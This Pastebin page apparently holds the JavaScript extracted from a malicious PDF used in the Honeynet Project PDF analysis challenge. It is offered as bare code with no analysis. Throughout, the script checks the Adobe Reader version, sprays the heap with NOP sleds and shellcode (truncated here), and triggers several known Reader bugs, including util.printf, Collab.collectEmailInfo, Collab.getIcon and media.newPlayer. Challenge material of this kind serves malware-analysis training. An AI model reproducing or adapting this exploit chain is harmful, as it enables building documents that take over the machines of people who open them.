Advertisement
Guest User

Javascript code in The Honeynet Project PDF Challenge

a guest
Aug 2nd, 2011
646
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var w = new String();
  2. var c = app;
  3.  
  4. function s(yarsp, len) {
  5.     while (yarsp.length * 2 < len) {
  6.         yarsp += yarsp;
  7.         this.x = false;
  8.     }
  9.     var eI = 37715;
  10.     yarsp = yarsp.substring(0, len / 2);
  11.     return yarsp;
  12.     var yE = 18340;
  13. }
  14. var m = new String("");
  15.  
  16. function cG() {
  17.     var chunk_size, payload, nopsled;
  18.  
  19.     chunk_size = 0x8000;
  20.     // calc.exe payload
  21.     payload = unescape("%uabba%ua906%u29f1%ud9c9%ud9c9%u2474%ub1f4%u
  22. 5d64%uc583%u3104%u0f55%u5503%ue20f%ued5e%uabb9%uc1ea%u2d70%u1953%u32
  23. 82%u6897%ud01d%u872d%ufd18%ua73a%u02dc%u14cc%u64ba%u66b5%uae41%uf16c
  24. %u5623%udb7c%u7bc1%u5e69%u69dd%uf0b0%ucf0c%u1950%udd95%u5ab9%u7b37%u
  25. 772b%uc55f%u1531%ue18d%u70c8%uc2c5%u4c1c%u7b34%u2f3a%ue82b...");
  26.     nopsled = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090");
  27.     while (nopsled.length < chunk_size)
  28.     nopsled += nopsled;
  29.     nopsled_len = chunk_size - (payload.length + 20);
  30.     nopsled = nopsled.substring(0, nopsled_len);
  31.     heap_chunks = new Array();
  32.     for (var i = 0; i < 2500; i++)
  33.     heap_chunks[i] = nopsled + payload;
  34.  
  35.  
  36.     util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
  37.     try {
  38.         media.newPlayer(null);
  39.     } catch (e) {}
  40.     util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
  41. }
  42. var iF = function () {};
  43.  
  44. function cN() {
  45.     var o = "o";
  46.     // freecell.exe payload
  47.     var payload = unescape("%uc929%u65b1%ud7db%u74d9%uf424%u83b8%u38
  48. 30%u5b84%u4331%u0313%u1343%u6883%udacc%u8571%u413d%u6a30%u13f7%ub07d
  49. %u5c06%uc249%ube91%u3948%ud6a4%u4246%ud958%uf0e9%ubf3e%ucb93%uf8bc%u
  50. 520a%u60a7%ubd5e%u804d%ub8b6%ub75a%u5391%uf6b0%ub933%uea10%ubade%u91
  51. ba%ud64b%u1fdb%ub411%ub731%u92ab%uf842%u2a7a%ua0b8%uc819%uc7af%u9be
  52. ");
  53.     this.dN = "";
  54.     var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A");
  55.     var hW = new String();
  56.     var heapblock = nop + payload;
  57.     this.qA = "qA";
  58.     var bigblock = unescape("%u0A0A%u0A0A");
  59.     this.alphaY = 12267;
  60.     var headersize = 20;
  61.     var spray = headersize + heapblock.length;
  62.     var jZ = '';
  63.     var jY = "";
  64.     while (bigblock.length < spray) {
  65.         this.r = "r";
  66.         bigblock += bigblock;
  67.         var edit = "edit";
  68.     }
  69.     this.xGoogle = '';
  70.     this.vY = false;
  71.     var fillblock = bigblock.substring(0, spray);
  72.     var iP = function () {};
  73.     var block = bigblock.substring(0, bigblock.length - spray);
  74.     var googleD = false;
  75.     this.fUEdit = "";
  76.     while (block.length + spray < 0x40000) {
  77.         block = block + block + fillblock;
  78.         this.bJ = '';
  79.     }
  80.     var googleQ = '';
  81.     this.nW = '';
  82.     var mem_array = new Array();
  83.     var cH = new String();
  84.     var nVO = new String("");
  85.     for (var i = 0; i < 1400; i++) {
  86.         mem_array[i] = block + heapblock;
  87.         var sQ = new String("");
  88.     }
  89.     var wC = '';
  90.     var num = 129999999999999999998888888888888888888888888888888888
  91. 88888888888888888888888888888888888888888888888888888888888888888888
  92. 88888888888888888888888888888888888888888888888888888888888888888888
  93. 88888888888888888888888888888888888888888888888888888888888888888888
  94. 88888888888888888888888888888888888888;
  95.         this.bC = 3699;
  96.         util.printf("%45000f", num);  
  97. }
  98. var eQ = "";
  99.  
  100. function gX() {
  101.         var basicZ = '';
  102.         // notepad.exe payload
  103.         var shellcode = unescape("%uc931%u64b1%ub6bf%u558b%ud976%ud9
  104. cd%u2474%u58f4%ue883%u31fc%u0d78%u7803%ue20d%u6043%u2c45%u44e1%ub6af
  105. %u964c%ub72e%ued9a%u55a9%u1a18%u71cc%u2237%u7e30%u91b7%u1856%ue9ae%u
  106. 2394%u7479%ucdff%u5e6b%ufc95%ue562%u12a2%u77ad%u53d8%u925f%u4178%ue5
  107. b2%ufc62%uf826%ub883%u9e2c%u6c59%uf5dd%u5d2a%uc113%uc7c1%ub031...");
  108.         var mem_array = new Array();  
  109.         this.googleBasicR = "";
  110.         var cc = 0x0c0c0c0c;
  111.         var addr = 0x400000;
  112.         var sc_len = shellcode.length * 2;
  113.         var len = addr - (sc_len + 0x38);
  114.         var yarsp = unescape("%u9090%u9090");
  115.         this.eS = "eS";
  116.         yarsp = s(yarsp, len);
  117.         var count2 = (cc - 0x400000) / addr;
  118.         this.rF = false;
  119.         this.p = "p";
  120.         for (var count = 0; count < count2; count++) {
  121.                 mem_array[count] = yarsp + shellcode;
  122.         }
  123.         var bUpdate = new String("");
  124.         var overflow = unescape("%u0c0c%u0c0c");
  125.         var cP = function() {};
  126.         this.gD = "";
  127.         while (overflow.length < 44952) {
  128.                 this.tO = "";
  129.                 overflow += overflow;
  130.         }
  131.         var adobeD = new String();
  132.         this.collabStore = Collab.collectEmailInfo({
  133.                 subj: "",
  134.                 msg: overflow
  135.         });
  136. }
  137. function updateE() {
  138.         var xI = new String("");
  139.         if (c.doc.Collab.getIcon) {  
  140.                 var arry = new Array();
  141.         // cmd.exe payload
  142.                 var vvpethya = unescape("%ud3b8%u7458%ud901%u2bcb%ud9c9%u2474%ub1f4%u5a65%u4231%u03
  143. 12%u1242%u3983%u96a4%u56f4%u0d45%u9bbd%ud7af%ue7f8%u982e%u1dcf%u7aa8
  144. %ucad5%u92cf%uf3c1%u9d2f%u4766%ufb49%u941e%uc494%u8389%uacfe%u6ad8%u
  145. dd95%u0935%uf3a2%u801c%ub2d9%u488c%u2678%u0b5c%udd62%u01f4%u5b82%u47
  146. 92%u4b5e%u2d2e%ubc2a%uf9ff%ue4c1%u9b9a%u83f7%ucc69%u3938%u1fb1%u7e29
  147. %uc50b%ue214%u8248%udcd8%ub3b7%u890b%ue425%uab91%u5210%u5192%uc8fc%u
  148. 9932%u9def%ubaa1%u0795%u1c9f%uacee%uc5ba%u4b1c%uaf20%u0832%u3e47%u91
  149. 29%uacf0%ude04%u1062%ue9e7%u0804%uf391%ubf69%ucc69%u71f0%u1108%uccee
  150. %u0d20%ubecf%ub462%ud949%u9971%u15e3%u3c5a%ub053%u5d89%u6c82%u6648%u
  151. 07ae%u7ad2%u148a%ub09d%u1572%u1aab%u33e6%u5a91%ub8af%u4744%udd4a%u8b
  152. 98%u47f2%u2af0%ub1cc...");
  153.         var updateX = 39796;  
  154.                 var hWq500CN = vvpethya.length * 2;
  155.                 var len = 0x400000 - (hWq500CN + 0x38);
  156.                 var zAdobe = "";
  157.                 var yarsp = unescape("%u9090%u9090");
  158.                 var dU = "";
  159.                 yarsp = s(yarsp, len);
  160.                 this.zAdobeK = "";
  161.                 var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000;
  162.                 var aG = new Date();  
  163.                 for (var vqcQD96y = 0;vqcQD96y<p5AjK65f;vqcQD96y++){
  164.                         var lBasic = "";
  165.                         arry[vqcQD96y] = yarsp + vvpethya;
  166.                         var u = "";  
  167.                 }
  168.                 var iAlpha = function() {};
  169.                 var tUMhNbGw = unescape("%09");
  170.                 while (tUMhNbGw.length < 0x4000) {
  171.                         this.gN = false;
  172.                         tUMhNbGw += tUMhNbGw;
  173.                 }
  174.                 var hV = new String("");
  175.                 var nVE = function() {};
  176.                 tUMhNbGw = "N." + tUMhNbGw;
  177.                 c.doc.Collab.getIcon(tUMhNbGw);
  178.         }
  179.         this.wZ = 44811;
  180. }
  181. var hO = new String("");
  182. function nO() {
  183.    this.iR = false;
  184.    var version = c.viewerVersion.toString();
  185.    var zH = '';
  186.    version = version.replace(/D/g, '');
  187.    var varsion_array= new Array(version.charAt(0),version.charAt(1),
  188.                                 version.charAt(2));
  189.    if ((varsion_array[0] == 8) && (varsion_array[1] == 0) ||
  190.       (varsion_array[1] == 1 &&varsion_array[2] < 3)) {
  191.                 cN();
  192.    }
  193.    this.wN = "";
  194.    var aQ = new String("");
  195.    if ((varsion_array[0] < 8) || (varsion_array[0] == 8
  196. && varsion_array[1] < 2 &&
  197. varsion_array[2] <2)) {
  198.                 gX();
  199.    }
  200.    var vEdit = "";
  201.    if ((varsion_array[0] < 9) || (varsion_array[0] == 9
  202. && varsion_array[1] < 1)) {
  203.                 updateE();
  204.    }
  205.    var eH = function() {};
  206.    var eSJ = new Function();
  207.    cG();
  208.    var vUpdate = false;
  209. }
  210.  
  211. var basicU = new Date();
  212. this.updateO = false;
  213. nO();
  214. var mUpdate = function() {};
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement